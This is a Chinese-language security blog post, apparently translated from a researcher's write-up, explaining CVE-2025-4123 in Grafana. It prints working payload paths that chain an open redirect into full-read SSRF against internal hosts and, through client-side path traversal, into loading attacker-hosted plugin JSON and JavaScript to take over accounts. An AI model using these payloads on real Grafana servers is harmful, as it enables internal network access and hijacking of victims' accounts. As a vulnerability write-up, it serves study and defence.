【CVE-2025–4123】:Grafana SSRF 及帐户接管利用

【CVE-2025–4123】:Grafana SSRF 及帐户接管利用

原创 骨哥说事 骨哥说事 2025-05-23 16:00

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

****# 防走失:https://gugesay.com/archives/4339

**不想错过任何消息?设置星标↓ ↓ ↓


file

前言

当 Web 应用程序采用 URL 参数并将用户重定向到指定的 URL 而不对其进行验证时,就会发生开放重定向。

/redirect?url=https://evil.com
 –> (302 重定向) –> https://evil.com

这本身可能看起来并不危险,但这种类型的漏洞是发现两个独立漏洞的起点:完全读取 SSRF 和帐户接管。

本文就来详细讲解如何找到这两个漏洞的完整过程。

为什么选择Grafana

Grafana 是一个开源分析平台,主要使用 Go 和 TypeScript 构建,用于可视化来自 Prometheus 和 InfluxDB 等来源的数据。

在这个 Web 应用程序中能够找到漏洞将是一个很好的挑战,因此白帽小哥下载了源代码并开始调试——尽管这是小哥第一次使用 Go,他仍然决定专注于应用程序中未经身份验证的部分。

入口点

查看 api/api.go 中定义的所有未经身份验证的端点:

...// not logged in viewsr.Get("/logout", hs.Logout)r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)r.Get("/login", hs.LoginView)r.Get("", hs.Index)// authed viewsr.Get("/", reqSignedIn, hs.Index)r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)...

功能性

一个负责处理静态路由的函数成功引起了白帽小哥的注意:

func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {    if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {returnfalse } file := ctx.Req.URL.Pathfor _, p := range opt.Exclude {if file == p {   returnfalse  } } // if we have a prefix, filter requests by stripping the prefixif opt.Prefix != "" {if !strings.HasPrefix(file, opt.Prefix) {   returnfalse  }  file = file[len(opt.Prefix):]if file != "" && file[0] != '/' {   returnfalse  } } f, err := opt.FileSystem.Open(file)if err != nil {returnfalse }   ..............}

该函数用于根据用户输入从系统中检索文件,白帽小哥第一个想法是尝试使用路径遍历来加载任意文件,例如 ../
 大法或类似技巧。

file

如果请求 /public/file/../../../name
 时,路径将被清理并解析为 /staticfiles/etc/etc/name
,从而有效地阻止对预期目录之外的非法访问。

此外,如果解析的最终路径指向文件夹, 则 StaticHandler 函数会检查其中的默认文件 — 通常从该目录提供 /index.html

if fi.IsDir() {    // Redirect if missing trailing slash.    if !strings.HasSuffix(ctx.Req.URL.Path, "/") {        path := fmt.Sprintf("%s/", ctx.Req.URL.Path)        if !strings.HasPrefix(path, "/") {            // Disambiguate that it's a path relative to this server            path = fmt.Sprintf("/%s", path)        } else {            // A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path            rePrefix := regexp.MustCompile(`^(?:/\\|/+)`)            path = rePrefix.ReplaceAllString(path, "/")        }        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)        return true    }    file = path.Join(file, opt.IndexFile)    indexFile, err := opt.FileSystem.Open(file)    ....}

如上所见,如果最终文件是一个目录,并且提供的路由 (/public/build)
 不以 / 结尾,则服务器将重定向到同一路径,并z在尾部附加 /。

GET /public/build HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /public/build/

这种重定向行为是开放重定向漏洞发生的地方,因此接下来深入研究一下。

目标

假设有一个场景,应用程序根据提供的路由进行重定向,因此最终的重定向 URL 将始终以 / 开头。

那么我们的目标是创建一个路由,当请求时,该路由会重定向到以 / 开头的有效完整 URL,例如:
– attacker.com/…
 –> 表示协议相对 URL,它使用与当前页面相同的协议 (HTTPS)

  • /\attacker.com/…–> /\ 会执行相同的操作

问题及解决方案

要实现重定向功能,我们需要一个以 /public/
 开头的路由,并在传递给 opt
 时,FileSystem.Open(file)
将其解析为有效目录。

从 /public/\attacker.com/../..
 开始,它解析为空字符串 ” “
,然后附加到 /staticfiles/etc/etc/
, 触发 if fi.isDir(){}
代码流。

/public/\attacker.com/../..–>/\attacker.com/../.. –> “” –>/staticfiles/etc/etc/+”” –> fi.isDir() TRUE

现在,有一种方法可以将任何Payload注入,它将被opt.FileSystem.Open(file)
解释为一个文件夹。

一旦进入 isDir()
 处理部分,/public/\attacker.com/../..
 路径就会到达 http.Redirect()
 函数,问题在于,此函数还会解析路径,这会导致重定向路径为/

if fi.IsDir() {    ...        //path is "/public/\attacker.com/../.." but the final redirect is "/"        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)        return true    ...}

如果请求 /public/\attacker.com/../..

GET /public/\attacker.com/../.. HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /

因此我们需要创建一条路径,其中在加载文件时,/../../..
 通过 opt.FileSystem.Open(file)
 被解析,但在执行重定向时,http.Redirect()
  中仍然未解析。

在每种情况下,路径的解析方式都不同:
– opt.FileSystem.Open(file)
 预期为一个系统文件

  • http.Redirect(path)
    预期为一个 URL 路径

  • opt.FileSystem.Open(file)
     将 ?
    视为普通字符

  • http 的 Redirect(path)
     将?
     解析为 URL 参数的开头

这意味着 /public/\attacker.com/?/../../../..
 将被如下处理,

在 opt.FileSystem.Open()
 — >
– /public/\attacker.com/?/../../../..
 将被解析为 “”
 ->  /staticfiles/etc/etc/
+””
 有效文件夹。

在 http.redirect()
 →
– /public/\attacker.com/?/../../../..
 –> 后面的任何内容 ?
 都被视为查询字符串,而不是作为路径的一部分进行解析。

请求 ?
 -> %3f

GET /public/\attacker.com/%3f/../.. HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /public/\attacker.com/?/../../

最终 Payload

该 URL /public/\attacker.com/?/../../../..
 需要解析为以 /\
开头的完整 URL。

使用路径: /public/../\attacker.com/?/../../../..
,当 http.Redirect()
 解析路径 时,会删除 /public
 部分。

GET /public/../\attacker.com/%3f/../../../../../.. HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /\attacker.com/?/../../../../../../

流程示意图:

file

完整读取 SSRF

开放重定向本身不会产生任何严重的安全影响,因此需要将其与另一个功能链接起来。

Grafana 有一个名为 /render
的端点,用于根据提供的路径生成图像。

// renderingr.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)

file

此端点使用无头浏览器来呈现用户指定的路由的 HTML,它只接受相对 URL 路径 /route
,不接受绝对 URL https://…

但是,如果使用找到的 open redirect 重定向到内部服务呢?

首先,尝试将 /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f.. google.es

file

然后,设置了一个无法从外部访问的内部服务:

尝试用 /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f.. 127.0.0.1:1234
:

file

通过该漏洞,便能够完全读取内部服务,由于浏览器用于渲染,因此我们甚至可以通过制作面向内部服务的表单来发送 POST 请求。

此外,该漏洞的前提需要登录才能利用,因此我们在未登录的前提下无法从中获得任何东西。

通过 XSS 进行帐户接管

客户端路径遍历

Grafana 的 Client 端代码的很大一部分允许 Client 端路径遍历。

例如,当在浏览器中加载 /invite/1
 时,JavaScript 会向 /api/user/invite/1
 发出请求以检索邀请信息。

但是,如果加载 /invite/..%2f..%2f..%2f..%2froute
 ,则 JavaScript 会解析路径遍历并最终加载 /route

file

这创造了一个完美的场景来强制 JavaScript 加载开放重定向,而该重定向反过来会从我们的服务器获取一个特别定制的JSON。

但首先,我们需要找到一个以不安全的方式加载内容的端点,并利用它来执行 JavaScript。

加载恶意 javascript 文件

可以使用 /a/plugin-app/explore
 加载和管理插件应用程序。

此功能的 JavaScript 从 URL 中提取插件应用程序名称,并使用它从 /api/plugins/plugin-app/settings
 请求插件信息。

/api/plugins/plugin-app/settings
 内容如下:

{    "name": "plugin-app",    "type": "app",    "id": "plugin-app",    "enabled": true,    "pinned": true,    "autoEnabled": true,    "module": "/modules/..../plugin-app.js", //js file to load    "baseUrl": "public/plugins/grafana-lokiexplore-app",    "info": {        "author": {            "name": "Grafana"            ...        }    }    ...}

/a/plugin-app/explore
加载该文件,并执行 “module” 参数中提供的 JavaScript。

/a/plugin-app/explore
 容易受到客户端路径遍历的影响,这允许我们在服务器上加载任意路由,而不是 /api/plugin-app/settings

这允许我们加载打开的重定向,因此,获取自己的恶意 JSON,其中包含了我们想要的任何 JavaScript 文件。

通过利用所有必要的 JS 和 JSON 文件设置我们自己的服务器。只需要托管如下 JSON :

{    "name": "ExploitPluginReq",    "type": "app",    "id": "grafana-lokiexplore-app",    "enabled": true,    "pinned": true,    "autoEnabled": true,    "module": "http://attacker.com/file?js=file", //malicious js file    "baseUrl": "public/plugins/grafana-lokiexplore-app",    "info": {        "author": {...}    }    ...}

加载此路由, /a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore
 ,从而利用客户端路径遍历和开放重定向。

结果展示:

file

恶意 JavaScript 文件被执行,并允许我们更改受害者的电子邮件并重置他们的密码。

file

希望本文能给你更多启发~

原文:https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53

  • END –

加入星球,随时交流:

*(会员统一定价):128元/年(0.35元/天)***

感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~